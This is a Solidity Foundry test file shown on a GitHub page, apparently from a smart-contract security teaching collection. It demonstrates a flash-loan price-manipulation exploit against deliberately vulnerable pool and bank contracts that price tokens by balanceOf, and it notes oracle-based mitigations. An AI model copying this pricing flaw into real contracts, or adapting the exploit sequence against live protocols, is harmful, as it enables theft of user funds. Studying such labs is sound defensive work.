-
Notifications
You must be signed in to change notification settings - Fork 288
/
Price_manipulation.sol
179 lines (151 loc) · 5.67 KB
/
Price_manipulation.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/*
Name: Price manipulation
Description:
Incorrect price calculation over balanceOf, getReverse may refer to a situation
where the price of a token or asset is not accurately calculated based on the balanceOf function.
Mitigation:
Use a manipulation resistant oracle, chainlink, TWAP, etc.
REF:
https://twitter.com/1nf0s3cpt/status/1673948842738487296
https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/past/2022#20221012-atk---flashloan-manipulate-price
https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/past/2022#20220807-egd-finance---flashloans--price-manipulation
https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/past/2022#20220428-deus-dao---flashloan--price-oracle-manipulation
*/
contract ContractTest is Test {
USDa USDaContract;
USDb USDbContract;
SimplePool SimplePoolContract;
SimpleBank SimpleBankContract;
function setUp() public {
USDaContract = new USDa();
USDbContract = new USDb();
SimplePoolContract = new SimplePool(
address(USDaContract),
address(USDbContract)
);
SimpleBankContract = new SimpleBank(
address(USDaContract),
address(SimplePoolContract),
address(USDbContract)
);
}
function testPrice_Manipulation() public {
USDbContract.transfer(address(SimpleBankContract), 9000 ether);
USDaContract.transfer(address(SimplePoolContract), 1000 ether);
USDbContract.transfer(address(SimplePoolContract), 1000 ether);
// Get the current price of USDa in terms of USDb (initially 1 USDa : 1 USDb)
SimplePoolContract.getPrice(); // 1 USDa : 1 USDb
console.log(
"There are 1000 USDa and USDb in the pool, so the price of USDa is 1 to 1 USDb."
);
emit log_named_decimal_uint(
"Current USDa convert rate",
SimplePoolContract.getPrice(),
18
);
console.log("Start price manipulation");
console.log("Borrow 500 USBa over floashloan");
// Let's manipulate the price since the getPrice is over the balanceOf.
// Use flashloan to borrow 500 USDa
SimplePoolContract.flashLoan(500 ether, address(this), "0x0");
}
fallback() external {
//flashlon callback
emit log_named_decimal_uint(
"Price manupulated, USDa convert rate",
SimplePoolContract.getPrice(),
18
); // 1 USDa : 2 USDb
USDaContract.approve(address(SimpleBankContract), 100 ether);
SimpleBankContract.exchange(100 ether);
// Repay the flashloan by transferring 500 USDb to SimplePoolContract
USDaContract.transfer(address(SimplePoolContract), 500 ether);
// Get the balance of USDb owned by us.
emit log_named_decimal_uint(
"Use 100 USDa to convert, My USDb balance",
USDbContract.balanceOf(address(this)),
18
);
}
receive() external payable {}
}
contract USDa is ERC20, Ownable {
constructor() ERC20("USDA", "USDA") {
_mint(msg.sender, 10000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract USDb is ERC20, Ownable {
constructor() ERC20("USDB", "USDB") {
_mint(msg.sender, 10000 * 10 ** decimals());
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract SimplePool {
IERC20 public USDaToken;
IERC20 public USDbToken;
constructor(address _USDa, address _USDb) {
USDaToken = IERC20(_USDa);
USDbToken = IERC20(_USDb);
}
function getPrice() public view returns (uint256) {
//Incorrect price calculation over balanceOf
uint256 USDaAmount = USDaToken.balanceOf(address(this));
uint256 USDbAmount = USDbToken.balanceOf(address(this));
// Ensure USDbAmount is not zero to prevent division by zero
if (USDaAmount == 0) {
return 0;
}
// Calculate the price as the ratio of USDa to USDb
uint256 USDaPrice = (USDbAmount * (10 ** 18)) / USDaAmount;
return USDaPrice;
}
function flashLoan(
uint256 amount,
address borrower,
bytes calldata data
) public {
uint256 balanceBefore = USDaToken.balanceOf(address(this));
require(balanceBefore >= amount, "Not enough liquidity");
require(
USDaToken.transfer(borrower, amount),
"Flashloan transfer failed"
);
(bool success, ) = borrower.call(data);
require(success, "Flashloan callback failed");
uint256 balanceAfter = USDaToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flashloan not repaid");
}
}
contract SimpleBank {
IERC20 public token; //USDA
SimplePool public pool;
IERC20 public payoutToken; //USDb
constructor(address _token, address _pool, address _payoutToken) {
token = IERC20(_token);
pool = SimplePool(_pool);
payoutToken = IERC20(_payoutToken);
}
function exchange(uint256 amount) public {
require(
token.transferFrom(msg.sender, address(this), amount),
"Transfer failed"
);
uint256 price = pool.getPrice();
require(price > 0, "Price cannot be zero");
uint256 tokensToReceive = (amount * price) / (10 ** 18);
require(
payoutToken.transfer(msg.sender, tokensToReceive),
"Payout transfer failed"
);
}
}